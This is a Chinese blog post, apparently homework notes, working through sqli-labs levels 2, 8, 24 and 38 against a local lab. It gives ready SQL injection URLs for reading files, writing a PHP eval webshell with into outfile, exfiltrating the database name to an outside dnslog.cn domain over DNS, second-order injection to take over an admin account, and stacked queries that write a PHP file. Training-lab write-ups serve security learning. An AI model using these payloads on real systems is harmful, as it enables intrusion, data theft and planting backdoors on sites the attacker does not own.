20200210作业

sql文件读写

读文件:load_file()

第二关

先对mysql的配置文件进行修改,添加  secure_file_priv=  (后面什么都不加,如果添加NULL代表不能进行读写,如果添加一个路径,那么代表只能对改路径下的文件进行读写)

开始注入:

现在D盘下新建一个名为a.txt的文件内容随意

确认注入点:http://localhost/sqli-labs-master/Less-2/?id=1 and 2=1

查询显示位:

http://localhost/sqli-labs-master/Less-2/?id=1 group by 3

http://localhost/sqli-labs-master/Less-2/?id=1 group by 4

 http://localhost/sqli-labs-master/Less-2/?id=1 union select 1,2,3 -- -

发现并没有1,2,3的显示位,这是id=1的这个占位了,需要让他错误,把位置腾出来

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 -- -

发现显示位为2,3     那么就可以在2或3的位置上进行sql注入了

得到显示位,直接进行读取文件a.txt:

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,load_file("D:\\a.txt") -- -

 

写文件:into_outfile

向D:\\1.txt文件写入一句话木马,需要注意的是,写入的文件在该目录不能有重名的,否则写入失败

上题的注入点已经找到,直接进行写入:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,"<?php eval($_REQUEST[666])?>" into outfile "D:\\1.txt" -- -

 

带外注入

第八关

需要一个工具网站:http://www.dnslog.cn/

第一步还是确认注入点:http://localhost/sqli-labs-master/Less-8/?id=1' and 2=1

查看显示位,发现不管正确还是错误都没有反馈,那么就可以试试带外注入

去dnslog拿到一个域名fty0bm.dnslog.cn(这个是随机生成的)

 

利用dns回显爆出数据,需要用到读取文件的函数来辅助

数据库名:http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",hex(database()),".fty0bm.dnslog.cn\\1.txt")) -- -

发现域名前面多了一些数字,哪些就是得到的数据,被16进制加密了解码就可以得到了

成功得到数据库名,想要得到其他数据修改database()就好

 

二次注入

第二十四关

我们发现,这个用户名和密码都进行了防护不能注入,但是发现在修改账号没有任何限制,不需要验证,而申请账号也没有对用户名的要求,那么我们就可以用二次注入

一,假设我们知道一个账号admin,但是不知道他的密码,那么我们可以申请一个admin' -- 的用户

 

然后登陆我们申请的用户admin' -- 点击修改密码,修改成功后我们登陆admin这个账号,用admin' -- 修改后的密码,

我们发现可以登陆

这是因为,我们申请用户的' -- 被sql语句执行了把后面的语句注释掉,但是前面的用户名却变成了admin,所以用admin' -- 的面膜可以登陆admin了

 

堆叠注入

第三十八关

堆叠注入是可以用分号来分开执行sql语句,并且可以对数据进行增删改查,不受限制

开始注入(以写入文件为例):http://localhost/sqli-labs-master/Less-38/?id=-1'; select "<?php phpinfo();?>" into outfile "d:\\phpstudy\\www\\phpinfo.php" ;-- -

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值